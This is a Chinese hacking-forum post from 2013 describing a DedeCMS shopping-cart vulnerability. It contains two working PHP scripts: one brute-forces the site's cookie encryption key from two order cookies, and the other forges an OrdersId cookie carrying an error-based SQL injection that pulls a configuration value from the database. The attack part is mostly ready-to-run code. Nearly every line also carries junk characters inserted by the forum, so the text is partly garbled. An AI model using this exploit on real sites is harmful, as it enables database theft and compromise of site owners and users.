找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2061|回复: 0
打印 上一主题 下一主题

织梦CMS漏洞dedecms漏洞SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-13 23:58:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
www.xxx.com/plus/search.php?keyword=# c  ?1 T" t+ o! b9 N7 M7 b0 u
在 include/shopcar.class.php中5 P0 [9 B/ p1 C; k8 J
先看一下这个shopcar类是如何生成cookie的
& Y$ v( i/ C; }$ C# x% [3 E239      function saveCookie($key,$value)
- L3 G. _" j0 m7 B2 e, G' Y240      {
3 D0 D1 K1 h6 w; x) a241          if(is_array($value))
4 @! b2 S  [+ _. u$ s242          {
: o' O: J! u7 A0 `2 b243              $value = $this->enCrypt($this->enCode($value));
2 n4 p% b& q! n: q; s244          }$ [: j1 }/ _* D
245          else& ^9 |, v9 y- H0 t  Q4 p) U; {
246          {* T' B4 q& l9 z/ P: U- Q; q& F1 ^* _
247              $value = $this->enCrypt($value);: u7 r. j% E, C0 Q
248          }
( s4 }+ \5 U8 O- ]- s# L$ k249          setcookie($key,$value,time()+36000,’/');
" T7 k( w; j6 h9 P8 q! B1 h250      }0 \  a* _$ A; n/ t( s0 R7 ~$ J
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数2 y8 I2 N, q( V( }4 k$ n; Z
186      function enCrypt($txt)! v( J2 j1 _/ i- @6 Y
187      {
( [4 s+ Y. z7 J2 E5 E5 s- ^188          srand((double)microtime() * 1000000);
& `  u/ X  W$ W) o: L189          $encrypt_key = md5(rand(0, 32000));& q$ n  i. t8 [
190          $ctr = 0;
" {0 K- O; @! @. ?( K191          $tmp = ”;6 S5 C  r& L: v( E2 A* S
192          for($i = 0; $i < strlen($txt); $i++). a8 Y; L" F. Q5 |$ A
193          {2 E& d. g( y1 r; G& w# j! _
194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
1 P* R( t5 a' o7 `/ ?8 H) e195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);# ?; ^( N* @8 F: q- a
196          }; X; \, t3 S+ n2 w
197          return base64_encode($this->setKey($tmp));
' G6 ]0 p$ L, d8 i0 T' T! \198      }0 F9 N( E  ^* _8 a, m: b+ ]- f
213      function setKey($txt)
! J: g& K" _( W7 W+ m* q214      {! i! ~1 b! j" p" ]6 n) w. w
215          global $cfg_cookie_encode;2 @/ [: b7 w+ q% v8 k& Q7 _1 k1 f9 P
216          $encrypt_key = md5(strtolower($cfg_cookie_encode));
# L- J) |; X' g4 Z+ l0 Q# G217          $ctr = 0;
$ Z; p0 y) t. q6 g  W$ V0 O, x218          $tmp = ”;
! R8 p0 Q9 Y* Y) Z/ O219          for($i = 0; $i < strlen($txt); $i++)) }$ P( |- t. k! B& w
220          {
+ {9 R1 w3 R5 @3 g221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;/ s- X0 K  w& R% e; }7 N
222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
* n: N# {$ q7 ?& ]4 H/ U. L+ `223          }$ `$ f9 p2 E: w( m: S
224          return $tmp;
4 k. F  O- g' ^# E- h, b/ u4 }225      }7 R! K  _+ \  K: K2 V- [% n
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
$ L0 m8 V0 i& Q, Z; W然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
7 V% I: }1 D; S2 ?0 w# _5 l具体代码如下:+ d8 r/ w4 j. m
<?php8 E7 k6 p) Z! n3 a- I7 ?
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
9 Z" I2 w4 l  k; f% Q$ X$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
8 _8 F% e1 m  h7 _$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
' T3 v  a9 R& `% _$ ?+ ?+ @function reStrCode($code,$string)
* `6 {) b7 h! ?8 n1 q! f' u{) @( p# b5 w4 p
$code = base64_decode($code);
- D" Y/ m5 `2 I4 g3 O% i) E$key = “”;
/ j+ p) H/ q5 B" w# k# U0 Y! |for($i=0 ; $i<32 ; $i++), M: _' S5 O" D; M% E/ [
{
) N" J) u  n0 v& c6 k, c8 i$key .= $string[$i] ^ $code[$i];. P1 X% c1 v; J( A! C  t
}5 W5 ?, B4 U' b9 u$ R) E
return $key;
% [- b, \# _- k9 ?3 _}+ T# g/ V/ O5 |2 D8 _
function getKeys($cookie,$plantxt)
; B/ w0 l& u7 [" i' m{# ?) L% a. J1 m* t# C
$tmp = $cookie;0 f9 f5 s1 o* J' u- A( H* I
$results = array();
9 C1 b3 ^' j' r* L7 [/ G1 \for($j=0 ; $j < 32000; $j++)
! h  m% n/ E7 n: \. {  i1 y{- l; \" D2 x6 u9 h
& B1 D6 B( {9 l* }
$txt = $plantxt;3 i; I$ K9 ^" V' m
$ctr = 0;8 s1 a% V. l( T7 J+ ?% S+ J+ V
$tmp = ”;
0 E- a9 u- O0 f9 `" I9 s6 y$encrypt_key = md5($j);
$ h& D* ]1 D( W- }: B6 j' I1 bfor($i =0; $i < strlen($txt); $i ++)
# j! P* T1 z7 _{
4 o5 m6 J& p+ _! Q$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;2 R$ ]  U- K' s
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);0 w8 f) X7 }% E9 g7 I
}
9 q; J; k8 T5 ^' [& \$string = $tmp;6 F2 }3 B! v- G3 u: i: E* Y
$code = $cookie;1 {/ p0 G$ B8 R1 z* }' X
$result = reStrCode($code,$string);
( S# ~7 A* y- r, t/ E6 z7 v, Cif(eregi(‘^[a-z0-9]+$’,$result))
) }5 z* N/ t* S' c' C; v{, \" i$ Y# M. \4 k  Z& z' |* R. N
echo $result.”\n”;3 t4 \7 M7 R+ `' a% t: @" R
$results[] = $result;. x$ |* p( s7 N9 `8 ?
}& `) p, W6 {$ [# q2 t. X, r
}7 B: j. t; g# v# F
return $results;
: h1 I! K9 a" A! p' |% b}
- \* c/ U; f0 \$results1 = getKeys($cookie1,$plantxt);( [$ o' E. l1 e6 y9 o  c% Z
$results2 = getKeys($cookie2,$plantxt);
: [# B1 K3 T- d7 G1 Dprint “\n——————–real key————————–\n”;
6 \6 I- a6 j* j9 H' Vforeach($results1 as $test1)1 M) ~0 @" O7 @* w
{1 j' [6 Y9 c; i+ }
foreach($results2 as $test2)
( @8 A2 _: T  W& d5 b{
1 q1 P( `* S! K9 `' U- Eif($test1 == $test2)0 a7 L! D! U7 A0 m
{
* X: B5 ]. H  r  F$ aecho $test1.”\n”;3 _! ]" w7 D" U* X( {
}. y2 g$ _& Z7 j6 k; k' M% d' Z" ?4 y
}
+ S0 E( r! K+ V* r4 O% V}+ Q4 p3 ?3 T6 L. c
?># f  H# j% D" K! }6 A/ g5 r: {
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
/ t& Z0 J: ?) Q" n& r- Bplantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1" d4 i8 [5 ~0 x+ Q3 m( P( u' C
然后推算出md5(strtolower($cfg_cookie_encode))5 C* ]5 O" `; c( l4 W8 t. A
得到这个key之后,我们就可以构造任意购物车的cookie
0 G4 A* R, A7 p* C. N5 f+ w3 ?/ k  w# H接着看" g2 o$ c) G9 E) f- l3 l5 \3 D
20  class MemberShops2 q! P$ P( A5 D  z# |/ M4 C
21  {, Z$ g4 n3 ~, N5 q( f
22      var $OrdersId;
+ ?9 b" Y% @' L' B. M23      var $productsId;
, L$ _# F; \# y; z" _24
$ j3 _( g% x" I' @! O+ L; }25      function __construct()1 H: l7 i7 L: K2 G' ~. }9 Q
26      {$ v3 Z: w9 P1 `% `1 Q5 ~  c
27          $this->OrdersId = $this->getCookie(“OrdersId”);
' O; ]; h  s' l28          if(empty($this->OrdersId))
0 W+ @2 g: `: B( V, Z0 _29          {  W  X6 S4 e) _. j9 ?: M
30              $this->OrdersId = $this->MakeOrders();  o* U$ T  Y$ p; {  U# I
31          }
6 J$ T) I% R* ]; ]2 q32      }
; `7 p  \: i- w& C5 W发现OrderId是从cookie里面获取的7 |4 w1 W! n, ?+ v+ r
然后/ {4 Y) b/ Y5 R/ e6 L- ~+ y
/plus/carbuyaction.php中的7 ]- `  a3 _/ F. d2 g8 a  r
29      $cart    = new MemberShops();
7 c, j$ T. F) ~39      $OrdersId = $cart->OrdersId;        //本次记录的订单号& K; R% K5 i8 r6 a9 d. i9 c5 S
……# a( W: S9 `6 O" o
173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);# v0 i: o% Y1 t  ?+ f; y
接着我们就可以注入了4 t! h8 b  {& b
通过利用下面代码生成cookie:* l! m( ?/ R: p# \
<?php0 Q# G4 c! t' e4 L
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
' F* C, e# z/ f5 W" \$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here
( Z% c) i: k: ?9 j+ q) Ofunction setKey($txt)( J9 T- E) i8 T
{' p& S* I5 c! n
global $encrypt_key;
$ N$ Y1 k8 M2 U2 r5 z$ B2 W$ctr = 0;
! }2 s/ f5 \- w  u$tmp = ”;
- ^* g. i8 ]7 s: D( L* {( Yfor($i = 0; $i < strlen($txt); $i++)
9 u9 h2 ]% U! R1 V- x% ?9 t+ W{- O- Q2 W9 i' u+ B
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
# t& h1 A, R! x$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
( E# g7 J3 r+ ^* W, ~! I; F* T4 b}
( C0 |  y$ z7 D2 x+ Mreturn $tmp;
% Z8 _1 K5 p% [6 Y$ l! H4 d}9 {* V6 P& i2 ^% m1 s8 d8 c- w) @
function enCrypt($txt)
. D, S, u7 \+ k( l2 m{
8 o  ~5 t. P; ?0 ]srand((double)microtime() * 1000000);
& H, w8 H& s+ X, y$ U& b* c5 `$encrypt_key = md5(rand(0, 32000));
3 s/ C8 e5 a- y$ctr = 0;
, l1 I4 V( j6 w) F$tmp = ”;9 f' _) K* g4 i" m# m' P
for($i = 0; $i < strlen($txt); $i++)$ x5 Y1 ], O, I. Y4 j# U9 y" M
{  _0 ^) b9 c2 Z2 x( b1 Y
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
, C' H$ U! A( r/ o3 D; _" i$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
! s" f% m* D$ g5 `}
& U" {, H+ G* n2 Kreturn base64_encode(setKey($tmp));% t5 v- _1 {* @7 ]
}
( N9 A6 H0 J- D# m' ^7 `- Dfor($dest =0;$dest = enCrypt($txt);)' I. G$ f2 u( `1 W5 S
{) ^; P) J& Q8 d# E8 q$ g% d) k
if(!strpos($dest,’+'))
; a, [6 `; G# M, T{
7 P+ n( u2 B0 t" @  {break;" `% @! }3 x5 U
}
3 s* L$ P% E, ]* {}1 b  |3 X( M7 O; j# L0 u
echo $dest.”\n”;
4 f. [7 j+ J* A0 _+ j, ~. Z?>2 X, {  ~+ [# l3 M3 F

. x! j# U8 B1 t/ J# R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表